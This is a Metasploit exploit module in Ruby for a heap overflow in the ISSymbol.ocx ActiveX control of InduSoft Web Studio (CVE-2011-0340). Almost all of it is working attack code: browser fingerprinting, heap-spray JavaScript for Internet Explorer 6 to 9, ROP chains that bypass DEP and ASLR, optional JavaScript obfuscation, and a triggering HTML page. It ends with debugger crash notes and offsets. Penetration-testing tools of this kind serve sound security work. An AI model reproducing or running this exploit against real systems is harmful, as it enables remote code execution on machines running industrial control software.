Added module for ZDI-12-168
jvazquez-r7
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cad8abef48
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::RopDb
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({
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:ua_name => HttpClients::IE,
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:ua_minver => "6.0",
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:ua_maxver => "9.0",
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:javascript => true,
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:os_name => OperatingSystems::WINDOWS,
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:rank => NormalRanking,
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:classid => "{3c9dff6f-5cb0-422e-9978-d6405d10718f}",
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:method => "InternationalSeparator"
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})
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def initialize(info={})
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super(update_info(info,
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'Name' => "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow",
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'Description' => %q{
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This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00
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SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long
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string argument for the InternationalSeparator() method of the ISSymbol control.
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This modules uses the msvcr71.dll form the Java JRE6 to bypass ASLR.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Alexander Gavrun', # Vulnerability discovery
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'James Fitts', # Metasploit module
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2011-0340' ],
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[ 'OSVDB', '72865' ],
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[ 'BID', '47596' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-168/' ],
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[ 'URL', 'http://secunia.com/secunia_research/2011-37/' ]
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],
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'Payload' =>
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{
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'Space' => 934,
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
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[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],
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[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],
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[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],
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[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
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[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
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[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Apr 28 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
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ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
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ie_name = "IE #{ie}"
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case nt
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when '5.1'
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os_name = 'Windows XP SP3'
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when '6.0'
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os_name = 'Windows Vista'
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when '6.1'
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os_name = 'Windows 7'
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end
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targets.each do |t|
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if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
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print_status("Target selected as: #{t.name}")
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return t
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end
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end
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return nil
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end
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def ie_heap_spray(my_target, p)
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
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js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
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# Land the payload at 0x0c0c0c0c
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case my_target
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when targets[7]
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# IE 9 on Windows 7
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js = %Q|
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function randomblock(blocksize)
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{
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var theblock = "";
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for (var i = 0; i < blocksize; i++)
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{
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theblock += Math.floor(Math.random()*90)+10;
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}
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return theblock;
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}
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function tounescape(block)
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{
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var blocklen = block.length;
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var unescapestr = "";
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for (var i = 0; i < blocklen-1; i=i+4)
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{
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unescapestr += "%u" + block.substring(i,i+4);
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}
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return unescapestr;
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}
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var heap_obj = new heapLib.ie(0x10000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_random_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset_length = #{my_target['Offset']};
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for (var i=0; i < 0x1000; i++) {
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var padding = unescape(tounescape(randomblock(0x1000)));
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while (padding.length < 0x1000) padding+= padding;
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var junk_offset = padding.substring(0, offset_length);
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var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
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while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
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sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
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heap_obj.alloc(sprayblock);
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}
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else
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# For IE 6, 7, 8
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js = %Q|
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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var overflow = nops.substring(0, 10);
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end
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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return js
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end
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def get_payload(t, cli)
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code = payload.encoded
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# No rop. Just return the payload.
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if t['Rop'].nil?
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prepend = [
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0x0c0c0c0c,
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0x0c0c0c0c,
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0x0c0c0c0c,
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0x0c0c0c0c,
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0x0c0c0c0c,
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0x0c0c0c0c,
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0x0c0c0c28 # Will finally become EIP
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].pack("V*")
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return prepend + code
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end
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# Both ROP chains generated by mona.py - See corelan.be
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case t['Rop']
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when :msvcrt
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print_status("Using msvcrt ROP")
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stack_pivot = [
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0x0c0c0c0c, # ret from msvcrt.dll
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0x77c15ed6, # ret from msvcrt.dll
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0x77c15ed6, # ret from msvcrt.dll
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0x77c15ed6, # ret from msvcrt.dll
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0x77c15ed6, # ret from msvcrt.dll
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0x77c1f519, # pop # ret from msvcrt.dll
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0x77c4fa1a # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll
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].pack("V*")
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rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
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else
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print_status("Using JRE ROP")
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stack_pivot = [
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0x0c0c0c0c, # ret from msvcr71.dll
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0x7c376fff, # ret from msvcr71.dll
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0x7c376fff, # ret from msvcr71.dll
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0x7c376fff, # ret from msvcr71.dll
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0x7c376fff, # ret from msvcr71.dll
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0x7c376ffe, # pop # ret from msvcr71.dll
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0x7c376ffc # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll
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].pack("V*")
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rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
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end
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return rop_payload
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end
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def load_exploit_html(my_target, cli)
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p = get_payload(my_target, cli)
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js = ie_heap_spray(my_target, p)
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# ActiveX parameters
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clsid = "3c9dff6f-5cb0-422e-9978-d6405d10718f"
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name = rand_text_alpha(rand(50) + 1 )
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boom = Rex::Text.to_unescape("\x0c" * 6888)
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html = %Q|
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<html>
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<head>
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<script>
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#{js}
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</script>
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</head>
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<body>
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<object classid='clsid:#{clsid}' id='#{name}'></object>
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<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
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<script language='javascript'>
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#{name}.InternationalSeparator(unescape("#{boom}"));
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</script>
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</body></html>
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return html
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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uri = request.uri
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print_status("Requesting: #{uri}")
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my_target = get_target(agent)
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# Avoid the attack if no suitable target found
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if my_target.nil?
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print_error("Browser not supported, sending 404: #{agent}")
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send_not_found(cli)
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return
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end
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html = load_exploit_html(my_target, cli)
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html = html.gsub(/^\t\t/, '')
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print_status("Sending HTML...")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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=begin
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eax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796
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eip=100127d2 esp=0013e60c ebp=0013e640 iopl=0 nv up ei pl nz na po nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
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ISSymbol!DllUnregisterServer+0xc9e2:
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100127d2 8b01 mov eax,dword ptr [ecx] ds:0023:336b4632=????????
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0:000> u eip
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ISSymbol!DllUnregisterServer+0xc9e2:
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100127d2 8b01 mov eax,dword ptr [ecx]
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100127d4 8b5018 mov edx,dword ptr [eax+18h]
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100127d7 ffe2 jmp edx
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100127d9 cc int 3
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100127da cc int 3
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100127db cc int 3
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100127dc cc int 3
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100127dd cc int 3
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* ebx
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$ ruby pattern_offset.rb 41306941 6888
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[*] Exact match at offset 240
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* ecx
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$ ruby pattern_offset.rb 336b4632 6888
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[*] Exact match at offset 4208
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=end
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